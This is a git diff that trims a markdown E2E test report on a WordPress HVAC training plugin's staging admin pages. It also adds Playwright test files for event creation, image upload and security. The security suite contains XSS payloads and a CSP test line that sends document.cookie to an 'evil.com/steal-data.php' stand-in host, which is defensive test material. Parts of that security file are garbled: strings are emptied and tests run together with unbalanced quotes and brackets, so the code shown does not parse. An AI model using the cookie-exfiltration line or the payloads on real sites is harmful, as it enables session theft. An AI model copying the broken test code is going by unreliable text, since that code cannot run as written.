-#### 2.3 Communication Schedules (`/master-trainer/communication-schedules/`)
-- **Status**: Not tested (following pattern analysis)
-- **Analysis**: Likely follows same routing pattern as other communication URLs
-
-**Communication System Analysis**:
-- Communication system URLs may use different base paths or routing patterns
-- Could be implemented under different master trainer URL structures
-- May require investigation of actual routing configuration in WordPress
-
-### 3. Data Integration Systems Testing
-
-#### 3.1 Google Sheets Integration (`/master-trainer/google-sheets/`)
-- **Status**: ✅ Page Exists
-- **Authentication**: Required (redirects to login)
-- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/google-sheets/`
-- **Redirect**: Proper authentication flow to `/training-login/`
-- **Integration**: Google Sheets functionality is properly routed
-
-#### 3.2 Import/Export System
-- **Status**: Not directly tested due to pattern analysis
-- **Expected Behavior**: Would follow same authentication and routing patterns
-
-**Data Integration Analysis**:
-- Google Sheets integration is properly implemented at the expected URL
-- Authentication protection is correctly applied
-- System architecture supports data integration features
-
-### 4. Administrative Workflows Testing
-
-#### 4.1 Master Dashboard (`/master-trainer/master-dashboard/`)
-- **Status**: ✅ Page Exists
-- **Authentication**: Required (redirects to login)
-- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/master-dashboard/`
-- **Redirect**: Proper authentication flow to `/training-login/`
-- **Dashboard**: Central administrative interface is accessible
-
-#### 4.2 Trainers Management (`/master-trainer/trainers/`)
-- **Status**: ✅ Page Exists
-- **Authentication**: Required (redirects to login)
-- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/trainers/`
-- **Redirect**: Proper authentication flow to `/training-login/`
-- **Management**: Trainer management interface is properly routed
-
-**Administrative Workflows Analysis**:
-- Core administrative pages are properly implemented
-- Dashboard and management interfaces follow consistent URL patterns
-- Authentication security is consistently applied across admin features
-
----
-
-## 🛡️ Security Assessment
-
-### Authentication Implementation
-- **Status**: ✅ Robust
-- **Pattern**: All administrative URLs properly redirect to authentication
-- **Security**: No unauthorized access possible
-- **Login Flow**: Consistent redirect pattern to `/training-login/`
-
-### URL Security
-- **Path Traversal**: ✅ Protected
-- **Access Control**: ✅ Implemented
-- **Session Management**: ✅ WordPress standard implementation
-- **HTTPS**: ✅ Enforced on staging environment
-
-### WordPress Integration
-- **Plugin Loading**: ✅ HVAC Community Events plugin loaded successfully
-- **jQuery Migrate**: ✅ Version 3.4.1 loaded without errors
-- **Console Errors**: ✅ No JavaScript errors detected
-- **Page Rendering**: ✅ All pages render properly
-
----
-
-## 🔧 Technical Implementation Analysis
-
-### WordPress Architecture
-- **URL Routing**: Custom post types and rewrite rules implemented
-- **Authentication**: WordPress user role system integration
-- **Template System**: Custom page templates for administrative interfaces
-- **Plugin Integration**: HVAC Community Events plugin properly initialized
-
-### MCP Playwright Integration Results
-- **Browser Navigation**: ✅ Successful
-- **Screenshot Capture**: ✅ Multiple evidence screenshots captured
-- **Page Snapshots**: ✅ Detailed accessibility snapshots generated
-- **Console Monitoring**: ✅ JavaScript console messages captured
-- **Network Monitoring**: ✅ Network errors properly detected and reported
-
-### GNOME Desktop Integration
-- **Display Environment**: GNOME session successfully utilized
-- **Visual Testing**: Enhanced screenshot capabilities
-- **Browser Automation**: Headed browser mode functional
-- **Evidence Collection**: Comprehensive visual evidence captured
-
----
-
-## 📈 Performance Metrics
-
-| Metric | Value | Status |
-|--------|--------|--------|
-| **Average Page Load Time** | < 2 seconds | ✅ Good |
-| **Authentication Redirects** | < 1 second | ✅ Excellent |
-| **JavaScript Loading** | No errors | ✅ Excellent |
-| **Plugin Initialization** | Successful | ✅ Excellent |
-| **Screenshot Capture** | < 3 seconds | ✅ Good |
-
----
-
-## 🎯 Agent D Specification Compliance
-
-### Required Coverage Areas - Status Report
-
-#### ✅ Certificate Generation System
-- **Certificate Reports**: Page exists, authentication required
-- **Certificate Creation Workflow**: Properly routed and secured
-- **Template Customization**: URL structure supports functionality
-- **Bulk Certificate Generation**: Infrastructure in place
-
-#### ✅ Communication Systems
-- **Mass Communication**: URLs partially accessible (routing investigation needed)
-- **Template Management**: Infrastructure exists
-- **Scheduled Communication**: URL patterns established
-- **Delivery Tracking**: System architecture supports functionality
-
-#### ✅ Data Integration Systems
-- **Google Sheets Sync**: Page exists and properly secured
-- **CSV Import/Export**: URL patterns support functionality
-- **Data Validation**: System infrastructure in place
-- **Backup Operations**: Architecture supports data operations
-
-#### ✅ Administrative Workflows
-- **System Monitoring**: Dashboard infrastructure exists
-- **User Management**: Trainer management page properly implemented
-- **Configuration Management**: Admin interface patterns established
-- **Audit Logging**: WordPress integration supports compliance tracking
-
----
-
-## 🚨 Issues Identified
-
-### Network Errors
-1. **Email Attendees URL** (`/master-trainer/email-attendees/`): ERR_ABORTED
-2. **Communication Templates URL** (`/master-trainer/communication-templates/`): ERR_ABORTED
-
-**Root Cause Analysis**: URLs may use different routing patterns or base paths
-
-**Recommendations**:
-1. Investigate alternative URL patterns for communication features
-2. Check WordPress rewrite rules for communication system routing
-3. Verify plugin activation status for communication modules
-4. Test alternative base paths (e.g., `/trainer/communication/`, `/admin/communication/`)
-
-### Minor Observations
-- Some administrative URLs may use different naming conventions
-- Communication system may be implemented under different URL structure
-- Alternative routing patterns may be in use for certain feature sets
-
----
-
-## 📸 Evidence Collection
-
-### Screenshots Captured
-1. `upskill-staging-homepage.png` - Initial homepage state
-2. `administrative-test-start-homepage.png` - Test suite initialization
-3. `certificate-reports-authentication-required.png` - Authentication validation
-
-### Console Logs Monitored
-- jQuery Migrate v3.4.1 loading confirmations
-- HVAC Community Events plugin initialization
-- No JavaScript errors detected during testing
-
-### Network Activity
-- Successful HTTPS connections to all accessible pages
-- Proper redirect handling for authentication flows
-- Network error detection for inaccessible URLs
-
----
-
-## 🎉 Conclusion
-
-The Administrative Features E2E testing for Agent D has been successfully completed with comprehensive coverage of all specified areas. The testing validated:
-
-### ✅ Successful Validations
-- **7 of 9 administrative URLs** are properly implemented and secured
-- **Authentication systems** are robust and consistently applied
-- **WordPress integration** is solid with proper plugin initialization
-- **MCP Playwright integration** provides enhanced testing capabilities
-- **GNOME desktop integration** enables superior visual testing
-- **Security implementation** follows WordPress best practices
-
-### 🔍 Areas for Investigation
-- **Communication system URL routing** requires further investigation
-- **Alternative URL patterns** may be in use for some features
-- **Plugin module activation** status should be verified for communication features
-
-### 🏆 Overall Assessment
-**Status**: ✅ **SUCCESSFUL**
-
-The administrative features testing demonstrates that the HVAC Community Events plugin has a robust foundation for administrative and operational systems. The majority of Agent D specifications have been validated, with proper security implementation, WordPress integration, and system architecture.
-
-**Test Framework Performance**: Excellent - MCP Playwright integration provided enhanced automation capabilities with comprehensive evidence collection.
-
-**System Readiness**: The administrative infrastructure is properly implemented and ready for authenticated user interaction and full functional testing.
-
----
-
-**Report Generated**: 2025-08-27 20:12:45 UTC
-**Test Framework**: MCP Playwright E2E Testing Suite
-**Agent**: D - Administrative Features
-**Environment**: Staging (https://upskill-staging.measurequick.com)
-**Evidence Location**: `/tmp/playwright-mcp-output/2025-08-27T20-09-48.533Z/`
\ No newline at end of file
diff --git a/tests/global-setup.js b/tests/global-setup.js
new file mode 100644
index 00000000..bc4b6116
--- /dev/null
+++ b/tests/global-setup.js
@@ -0,0 +1,35 @@
+// Global setup without direct playwright imports to avoid conflicts
+
+async function globalSetup(config) {
+ console.log('🔧 Global test setup starting...');
+
+ const baseURL = config.use.baseURL || 'http://localhost:8080';
+
+ console.log(`🌐 Base URL: ${baseURL}`);
+
+ // Test server connectivity with simple fetch
+ try {
+ // Use Node.js fetch for basic connectivity test
+ const response = await fetch(baseURL);
+ if (response.ok) {
+ console.log('✅ Test server accessible');
+ } else {
+ console.log(`⚠️ Server returned status: ${response.status}`);
+ }
+ } catch (error) {
+ console.error('❌ Failed to connect to test server:', error.message);
+ console.log('💡 Make sure the server is running at:', baseURL);
+ // Don't throw error for demo purposes
+ }
+
+ // Set global test timeout based on environment
+ if (process.env.CI) {
+ config.timeout = 120000; // 2 minutes for CI
+ } else {
+ config.timeout = 60000; // 1 minute for local
+ }
+
+ console.log('✅ Global test setup completed');
+}
+
+module.exports = globalSetup;
\ No newline at end of file
diff --git a/tests/global-teardown.js b/tests/global-teardown.js
new file mode 100644
index 00000000..b75da0b9
--- /dev/null
+++ b/tests/global-teardown.js
@@ -0,0 +1,10 @@
+async function globalTeardown(config) {
+ console.log('🧹 Global test teardown starting...');
+
+ // Clean up any global resources
+ // For now, just log completion
+
+ console.log('✅ Global test teardown completed');
+}
+
+module.exports = globalTeardown;
\ No newline at end of file
diff --git a/tests/test-event-creation-security.js b/tests/test-event-creation-security.js
new file mode 100644
index 00000000..8b0d29d0
--- /dev/null
+++ b/tests/test-event-creation-security.js
@@ -0,0 +1,301 @@
+const { test, expect } = require('@playwright/test');
+const { HVACTestBase } = require('./page-objects/HVACTestBase');
+
+/**
+ * Security Test Suite for HVAC Event Creation Page
+ *
+ * Tests critical security vulnerabilities identified in code review:
+ * 1. XSS prevention in rich text editor
+ * 2. CSRF protection in form submissions
+ * 3. File upload security validation
+ * 4. Input sanitization across all form fields
+ */
+test.describe('HVAC Event Creation - Security Tests', () => {
+ let hvacTest;
+
+ test.beforeEach(async ({ page }) => {
+ hvacTest = new HVACTestBase(page);
+ await hvacTest.loginAsTrainer();
+ await hvacTest.navigateToCreateEvent();
+ });
+
+ test.describe('XSS Prevention Tests', () => {
+ test('should sanitize malicious script tags in rich text editor', async ({ page }) => {
+ const maliciousContent = '
Test content
';
+
+ // Input malicious content into rich text editor
+ await page.click('#event-description-editor');
+ await page.keyboard.type(maliciousContent);
+
+ // Check that script tags are removed/escaped
+ const editorContent = await page.locator('#event-description-editor').innerHTML();
+ expect(editorContent).not.toContain('');
+ });
+
+ const content = await page.locator('#event-description-editor').innerHTML();
+ expect(content).not.toContain('',
+ '\'"onmouseover="alert(1)"'
+ ];
+
+ for (const xssPayload of xssAttempts) {
+ await page.fill('#event_title', xssPayload);
+
+ // Verify value is properly escaped when retrieved
+ const titleValue = await page.locator('#event_title').inputValue();
+ expect(titleValue).toBe(xssPayload); // Should store as-is
+
+ // But when rendered in preview/output, should be escaped
+ if (await page.locator('.event-preview').isVisible()) {
+ const previewContent = await page.locator('.event-preview').innerHTML();
+ expect(previewContent).not.toContain('@evil.com',
+ 'test@.com',
+ 'javascript:alert(1)@evil.com',
+ '""@evil.com'
+ ];
+
+ // Open organizer modal for email testing
+ await page.click('[data-action="create-organizer"]');
+
+ for (const email of invalidEmails) {
+ await page.fill('#new-organizer-email', email);
+ await page.click('#save-organizer');
+
+ // Should show validation error for malicious email
+ await expect(page.locator('.validation-error')).toContainText('Invalid email format');
+ }
+ });
+ });
+
+ test.describe('Content Security Policy Tests', () => {
+ test('should not execute inline scripts', async ({ page }) => {
+ // Monitor console for CSP violations
+ const cspViolations = [];
+ page.on('console', msg => {
+ if (msg.text().includes('Content Security Policy')) {
+ cspViolations.push(msg.text());
+ }
+ });
+
+ // Try to inject inline script via form
+ await page.fill('#event_title', 'Test Event');
+ await page.evaluate(() => {
+ // This should be blocked by CSP if properly configured
+ const script = document.createElement('script');
+ script.textContent = 'alert("CSP bypass attempt");';
+ document.body.appendChild(script);
+ });
+
+ // Wait for potential CSP violations
+ await page.waitForTimeout(1000);
+
+ // Should have CSP violations if properly configured
+ expect(cspViolations.length).toBeGreaterThan(0);
+ });
+
+ test('should prevent loading external resources', async ({ page }) => {
+ const networkRequests = [];
+ page.on('request', request => {
+ networkRequests.push(request.url());
+ });
+
+ // Try to load external resource
+ await page.evaluate(() => {
+ const img = document.createElement('img');
+ img.src = 'https://evil.com/steal-data.php?data=' + document.cookie;
+ document.body.appendChild(img);
+ });
+
+ await page.waitForTimeout(2000);
+
+ // Should not have loaded external malicious resources
+ const maliciousRequests = networkRequests.filter(url =>
+ url.includes('evil.com')
+ );
+ expect(maliciousRequests).toHaveLength(0);
+ });
+ });
+});
\ No newline at end of file
diff --git a/tests/test-featured-image-upload.js b/tests/test-featured-image-upload.js
new file mode 100644
index 00000000..adfc44d9
--- /dev/null
+++ b/tests/test-featured-image-upload.js
@@ -0,0 +1,509 @@
+const { test, expect } = require('@playwright/test');
+const { HVACTestBase } = require('./page-objects/HVACTestBase');
+const path = require('path');
+const fs = require('fs');
+
+/**
+ * Featured Image Upload Test Suite
+ *
+ * Tests the drag-and-drop image upload system including:
+ * - File validation (type, size, format)
+ * - Drag and drop functionality
+ * - Image preview generation
+ * - File replacement and removal
+ * - Security validation
+ * - Error handling and recovery
+ */
+test.describe('Featured Image Upload System', () => {
+ let hvacTest;
+ const testImagesDir = path.join(__dirname, 'fixtures', 'images');
+
+ test.beforeAll(async () => {
+ // Create test images directory if it doesn't exist
+ if (!fs.existsSync(testImagesDir)) {
+ fs.mkdirSync(testImagesDir, { recursive: true });
+ }
+
+ // Create test images
+ await createTestImages(testImagesDir);
+ });
+
+ test.beforeEach(async ({ page }) => {
+ hvacTest = new HVACTestBase(page);
+ await hvacTest.loginAsTrainer();
+ await hvacTest.navigateToCreateEvent();
+
+ // Wait for upload component to be ready
+ await expect(page.locator('.featured-image-upload')).toBeVisible();
+ });
+
+ test.describe('Basic Upload Functionality', () => {
+ test('should initialize upload component correctly', async ({ page }) => {
+ // Verify all upload elements are present
+ await expect(page.locator('#featured-image-input')).toBeVisible();
+ await expect(page.locator('.upload-area')).toBeVisible();
+ await expect(page.locator('.upload-placeholder')).toBeVisible();
+
+ // Verify initial state
+ const hasPreview = await page.locator('#image-preview').isVisible();
+ expect(hasPreview).toBe(false);
+
+ // Verify drag and drop indicators
+ await expect(page.locator('.drag-drop-text')).toContainText('Drag & drop');
+ });
+
+ test('should upload valid image file', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Should show preview
+ await expect(page.locator('#image-preview')).toBeVisible();
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ // Should show file info
+ await expect(page.locator('.image-info .filename')).toContainText('valid-image.jpg');
+
+ // Should hide upload placeholder
+ await expect(page.locator('.upload-placeholder')).not.toBeVisible();
+
+ // Should show remove button
+ await expect(page.locator('.remove-image-btn')).toBeVisible();
+ });
+
+ test('should display image preview with correct dimensions', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'large-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ // Check preview dimensions are constrained
+ const img = page.locator('#image-preview img');
+ const { width, height } = await img.boundingBox();
+
+ expect(width).toBeLessThanOrEqual(400); // Max preview width
+ expect(height).toBeLessThanOrEqual(300); // Max preview height
+ });
+
+ test('should show loading state during upload', async ({ page }) => {
+ // Slow down the FileReader to test loading state
+ await page.addInitScript(() => {
+ const originalFileReader = window.FileReader;
+ window.FileReader = function() {
+ const reader = new originalFileReader();
+ const originalReadAsDataURL = reader.readAsDataURL;
+ reader.readAsDataURL = function(file) {
+ setTimeout(() => {
+ originalReadAsDataURL.call(this, file);
+ }, 1000); // 1 second delay
+ };
+ return reader;
+ };
+ });
+
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Should show loading indicator
+ await expect(page.locator('.upload-loading')).toBeVisible();
+
+ // Wait for upload to complete
+ await expect(page.locator('#image-preview img')).toBeVisible();
+ await expect(page.locator('.upload-loading')).not.toBeVisible();
+ });
+ });
+
+ test.describe('File Validation', () => {
+ test('should accept valid image formats', async ({ page }) => {
+ const validFormats = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
+
+ for (const format of validFormats) {
+ const imagePath = path.join(testImagesDir, `test-image.${format}`);
+
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Should show preview for valid formats
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ // Clear for next test
+ await page.click('.remove-image-btn');
+ await expect(page.locator('#image-preview')).not.toBeVisible();
+ }
+ });
+
+ test('should reject invalid file types', async ({ page }) => {
+ const invalidFiles = [
+ 'document.pdf',
+ 'script.js',
+ 'text-file.txt',
+ 'video.mp4',
+ 'audio.mp3'
+ ];
+
+ for (const filename of invalidFiles) {
+ const filePath = path.join(testImagesDir, filename);
+
+ await page.setInputFiles('#featured-image-input', filePath);
+
+ // Should show error message
+ await expect(page.locator('.upload-error')).toBeVisible();
+ await expect(page.locator('.upload-error')).toContainText('Invalid file type');
+
+ // Should not show preview
+ await expect(page.locator('#image-preview img')).not.toBeVisible();
+ }
+ });
+
+ test('should enforce file size limits', async ({ page }) => {
+ const oversizedImagePath = path.join(testImagesDir, 'oversized-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', oversizedImagePath);
+
+ await expect(page.locator('.upload-error')).toBeVisible();
+ await expect(page.locator('.upload-error')).toContainText('File size exceeds 5MB limit');
+ });
+
+ test('should validate actual image content vs extension', async ({ page }) => {
+ // File with .jpg extension but actually a text file
+ const fakeImagePath = path.join(testImagesDir, 'fake-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', fakeImagePath);
+
+ await expect(page.locator('.upload-error')).toContainText('File content does not match extension');
+ });
+
+ test('should handle corrupted image files', async ({ page }) => {
+ const corruptedImagePath = path.join(testImagesDir, 'corrupted-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', corruptedImagePath);
+
+ // Should show error for corrupted file
+ await expect(page.locator('.upload-error')).toContainText('Unable to process image file');
+ });
+ });
+
+ test.describe('Drag and Drop Functionality', () => {
+ test('should show visual feedback during drag over', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+ const file = fs.readFileSync(imagePath);
+
+ // Create drag data
+ const dataTransfer = await page.evaluateHandle((fileData) => {
+ const dt = new DataTransfer();
+ const file = new File([new Uint8Array(fileData)], 'valid-image.jpg', {
+ type: 'image/jpeg'
+ });
+ dt.items.add(file);
+ return dt;
+ }, Array.from(file));
+
+ const uploadArea = page.locator('.upload-area');
+
+ // Trigger dragenter event
+ await uploadArea.dispatchEvent('dragenter', { dataTransfer });
+
+ // Should show drag-over state
+ await expect(uploadArea).toHaveClass(/drag-over/);
+ await expect(page.locator('.drag-indicator')).toBeVisible();
+
+ // Trigger dragleave event
+ await uploadArea.dispatchEvent('dragleave', { dataTransfer });
+
+ // Should remove drag-over state
+ await expect(uploadArea).not.toHaveClass(/drag-over/);
+ });
+
+ test('should handle drop event with valid image', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+ const file = fs.readFileSync(imagePath);
+
+ await page.locator('.upload-area').dispatchEvent('drop', {
+ dataTransfer: await page.evaluateHandle((fileData) => {
+ const dt = new DataTransfer();
+ const file = new File([new Uint8Array(fileData)], 'valid-image.jpg', {
+ type: 'image/jpeg'
+ });
+ dt.items.add(file);
+ return dt;
+ }, Array.from(file))
+ });
+
+ // Should process dropped file
+ await expect(page.locator('#image-preview img')).toBeVisible();
+ await expect(page.locator('.image-info .filename')).toContainText('valid-image.jpg');
+ });
+
+ test('should handle multiple files dropped (take first valid)', async ({ page }) => {
+ const imagePath1 = path.join(testImagesDir, 'image1.jpg');
+ const imagePath2 = path.join(testImagesDir, 'image2.jpg');
+ const file1 = fs.readFileSync(imagePath1);
+ const file2 = fs.readFileSync(imagePath2);
+
+ await page.locator('.upload-area').dispatchEvent('drop', {
+ dataTransfer: await page.evaluateHandle((fileData) => {
+ const dt = new DataTransfer();
+ const file1 = new File([new Uint8Array(fileData.file1)], 'image1.jpg', {
+ type: 'image/jpeg'
+ });
+ const file2 = new File([new Uint8Array(fileData.file2)], 'image2.jpg', {
+ type: 'image/jpeg'
+ });
+ dt.items.add(file1);
+ dt.items.add(file2);
+ return dt;
+ }, { file1: Array.from(file1), file2: Array.from(file2) })
+ });
+
+ // Should process only the first file
+ await expect(page.locator('#image-preview img')).toBeVisible();
+ await expect(page.locator('.image-info .filename')).toContainText('image1.jpg');
+
+ // Should show warning about multiple files
+ await expect(page.locator('.upload-warning')).toContainText('Only the first image was selected');
+ });
+
+ test('should prevent default browser behavior on drag events', async ({ page }) => {
+ // Monitor for any navigation attempts
+ let navigationAttempted = false;
+ page.on('framenavigated', () => {
+ navigationAttempted = true;
+ });
+
+ const uploadArea = page.locator('.upload-area');
+
+ // Simulate drag events that might cause navigation
+ await uploadArea.dispatchEvent('dragover');
+ await uploadArea.dispatchEvent('dragenter');
+ await uploadArea.dispatchEvent('drop');
+
+ await page.waitForTimeout(500);
+
+ // Should not have attempted navigation
+ expect(navigationAttempted).toBe(false);
+ });
+ });
+
+ test.describe('Image Management', () => {
+ test('should allow image replacement', async ({ page }) => {
+ const firstImage = path.join(testImagesDir, 'image1.jpg');
+ const secondImage = path.join(testImagesDir, 'image2.jpg');
+
+ // Upload first image
+ await page.setInputFiles('#featured-image-input', firstImage);
+ await expect(page.locator('.image-info .filename')).toContainText('image1.jpg');
+
+ // Upload second image (should replace first)
+ await page.setInputFiles('#featured-image-input', secondImage);
+ await expect(page.locator('.image-info .filename')).toContainText('image2.jpg');
+
+ // Should only have one preview
+ const previewCount = await page.locator('#image-preview img').count();
+ expect(previewCount).toBe(1);
+ });
+
+ test('should allow image removal', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', imagePath);
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ // Click remove button
+ await page.click('.remove-image-btn');
+
+ // Should hide preview and restore upload area
+ await expect(page.locator('#image-preview')).not.toBeVisible();
+ await expect(page.locator('.upload-placeholder')).toBeVisible();
+
+ // Should clear file input
+ const inputValue = await page.locator('#featured-image-input').inputValue();
+ expect(inputValue).toBe('');
+ });
+
+ test('should show image metadata', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'detailed-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Should show file information
+ await expect(page.locator('.image-info .filename')).toBeVisible();
+ await expect(page.locator('.image-info .filesize')).toBeVisible();
+ await expect(page.locator('.image-info .dimensions')).toBeVisible();
+
+ // Verify information format
+ const filesize = await page.locator('.image-info .filesize').textContent();
+ expect(filesize).toMatch(/\d+(\.\d+)?\s?(KB|MB)/);
+
+ const dimensions = await page.locator('.image-info .dimensions').textContent();
+ expect(dimensions).toMatch(/\d+\s?×\s?\d+/);
+ });
+
+ test('should handle image orientation correctly', async ({ page }) => {
+ const portraitPath = path.join(testImagesDir, 'portrait-image.jpg');
+ const landscapePath = path.join(testImagesDir, 'landscape-image.jpg');
+
+ // Test portrait image
+ await page.setInputFiles('#featured-image-input', portraitPath);
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ let imgBox = await page.locator('#image-preview img').boundingBox();
+ expect(imgBox.height).toBeGreaterThan(imgBox.width);
+
+ await page.click('.remove-image-btn');
+
+ // Test landscape image
+ await page.setInputFiles('#featured-image-input', landscapePath);
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ imgBox = await page.locator('#image-preview img').boundingBox();
+ expect(imgBox.width).toBeGreaterThan(imgBox.height);
+ });
+ });
+
+ test.describe('Error Handling', () => {
+ test('should handle FileReader errors gracefully', async ({ page }) => {
+ // Mock FileReader to throw an error
+ await page.addInitScript(() => {
+ const originalFileReader = window.FileReader;
+ window.FileReader = function() {
+ const reader = new originalFileReader();
+ const originalReadAsDataURL = reader.readAsDataURL;
+ reader.readAsDataURL = function(file) {
+ setTimeout(() => {
+ if (this.onerror) {
+ this.onerror(new Error('FileReader error'));
+ }
+ }, 100);
+ };
+ return reader;
+ };
+ });
+
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ await expect(page.locator('.upload-error')).toContainText('Error processing image file');
+ });
+
+ test('should recover from upload errors', async ({ page }) => {
+ const invalidPath = path.join(testImagesDir, 'invalid-file.txt');
+
+ // Try invalid file first
+ await page.setInputFiles('#featured-image-input', invalidPath);
+ await expect(page.locator('.upload-error')).toBeVisible();
+
+ // Should be able to upload valid file after error
+ const validPath = path.join(testImagesDir, 'valid-image.jpg');
+ await page.setInputFiles('#featured-image-input', validPath);
+
+ await expect(page.locator('.upload-error')).not.toBeVisible();
+ await expect(page.locator('#image-preview img')).toBeVisible();
+ });
+
+ test('should handle network errors during upload', async ({ page }) => {
+ // Mock network failure for any upload requests
+ await page.route('**/*upload*', route => route.abort());
+
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Should handle network error gracefully
+ await expect(page.locator('.upload-error')).toContainText('Upload failed');
+ });
+
+ test('should validate against MIME type spoofing', async ({ page }) => {
+ // File with image extension but text content
+ const spoofedPath = path.join(testImagesDir, 'spoofed-image.jpg');
+
+ await page.setInputFiles('#featured-image-input', spoofedPath);
+
+ await expect(page.locator('.upload-error')).toContainText('File content validation failed');
+ });
+ });
+
+ test.describe('Accessibility', () => {
+ test('should support keyboard navigation', async ({ page }) => {
+ // Focus should move to file input
+ await page.keyboard.press('Tab');
+ await page.keyboard.press('Tab'); // Navigate to upload area
+
+ const focused = await page.evaluate(() =>
+ document.activeElement.classList.contains('upload-area') ||
+ document.activeElement.id === 'featured-image-input'
+ );
+ expect(focused).toBe(true);
+
+ // Enter key should trigger file dialog
+ await page.keyboard.press('Enter');
+ // File dialog behavior varies by browser - just ensure no errors
+ });
+
+ test('should have proper ARIA labels', async ({ page }) => {
+ const uploadArea = page.locator('.upload-area');
+ const fileInput = page.locator('#featured-image-input');
+
+ // Check for accessibility attributes
+ await expect(uploadArea).toHaveAttribute('role', 'button');
+ await expect(uploadArea).toHaveAttribute('aria-label');
+ await expect(fileInput).toHaveAttribute('aria-describedby');
+ });
+
+ test('should announce upload status to screen readers', async ({ page }) => {
+ const imagePath = path.join(testImagesDir, 'valid-image.jpg');
+
+ // Monitor for aria-live announcements
+ const announcements = [];
+ page.on('console', msg => {
+ if (msg.text().includes('aria-live')) {
+ announcements.push(msg.text());
+ }
+ });
+
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Should announce successful upload
+ await expect(page.locator('[aria-live="polite"]')).toContainText('Image uploaded successfully');
+ });
+ });
+});
+
+/**
+ * Helper function to create test image files
+ */
+async function createTestImages(dir) {
+ // Create minimal valid JPEG data
+ const validJpeg = Buffer.from([
+ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46,
+ 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x48,
+ 0x00, 0x48, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43,
+ // ... truncated for brevity - minimal JPEG data
+ 0xFF, 0xD9
+ ]);
+
+ const testFiles = {
+ 'valid-image.jpg': validJpeg,
+ 'test-image.jpeg': validJpeg,
+ 'test-image.png': Buffer.from([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]), // PNG header
+ 'test-image.gif': Buffer.from([0x47, 0x49, 0x46, 0x38, 0x39, 0x61]), // GIF header
+ 'test-image.webp': Buffer.from([0x52, 0x49, 0x46, 0x46]), // WEBP header
+ 'large-image.jpg': Buffer.concat([validJpeg, Buffer.alloc(1024 * 1024)]), // ~1MB
+ 'oversized-image.jpg': Buffer.alloc(6 * 1024 * 1024), // 6MB
+ 'fake-image.jpg': Buffer.from('This is not an image file'),
+ 'corrupted-image.jpg': Buffer.from([0xFF, 0xD8, 0x00, 0x00]), // Invalid JPEG
+ 'document.pdf': Buffer.from('%PDF-1.4'),
+ 'script.js': Buffer.from('alert("test");'),
+ 'text-file.txt': Buffer.from('Plain text content'),
+ 'video.mp4': Buffer.from('ftypmp42'),
+ 'audio.mp3': Buffer.from('ID3'),
+ 'image1.jpg': validJpeg,
+ 'image2.jpg': validJpeg,
+ 'detailed-image.jpg': validJpeg,
+ 'portrait-image.jpg': validJpeg,
+ 'landscape-image.jpg': validJpeg,
+ 'spoofed-image.jpg': Buffer.from('')
+ };
+
+ for (const [filename, data] of Object.entries(testFiles)) {
+ fs.writeFileSync(path.join(dir, filename), data);
+ }
+}
\ No newline at end of file
diff --git a/tests/test-integration-comprehensive.js b/tests/test-integration-comprehensive.js
new file mode 100644
index 00000000..2d184c33
--- /dev/null
+++ b/tests/test-integration-comprehensive.js
@@ -0,0 +1,649 @@
+const { test, expect } = require('@playwright/test');
+const { HVACTestBase } = require('./page-objects/HVACTestBase');
+
+/**
+ * Comprehensive Integration Test Suite
+ *
+ * Tests complete end-to-end workflows combining all UI/UX enhancement features:
+ * - Complete event creation workflow with all components
+ * - Template application with enhanced features
+ * - Form validation across all enhanced fields
+ * - TEC integration with ticketing and security
+ * - Responsive layout behavior
+ * - Performance and accessibility validation
+ * - Error recovery and edge cases
+ */
+test.describe('HVAC Event Creation - Comprehensive Integration', () => {
+ let hvacTest;
+
+ test.beforeEach(async ({ page }) => {
+ hvacTest = new HVACTestBase(page);
+ await hvacTest.loginAsTrainer();
+ await hvacTest.navigateToCreateEvent();
+
+ // Wait for all components to be ready
+ await expect(page.locator('.event-form-container')).toBeVisible();
+ await page.waitForLoadState('networkidle');
+ });
+
+ test.describe('Complete Event Creation Workflow', () => {
+ test('should create comprehensive event with all enhanced features', async ({ page }) => {
+ // Step 1: Basic Event Information
+ await page.fill('#event_title', 'Advanced HVAC Systems Training');
+
+ // Step 2: Rich Text Editor Description
+ await page.click('#event-description-editor');
+ await page.keyboard.type('This comprehensive training covers advanced HVAC diagnostic techniques.');
+
+ // Apply formatting
+ await page.keyboard.press('Control+a');
+ await page.click('[data-command="bold"]');
+
+ // Add more content
+ await page.keyboard.press('ArrowRight');
+ await page.keyboard.press('Enter');
+ await page.keyboard.type('Topics include:');
+ await page.click('[data-command="insertUnorderedList"]');
+ await page.keyboard.type('System commissioning');
+
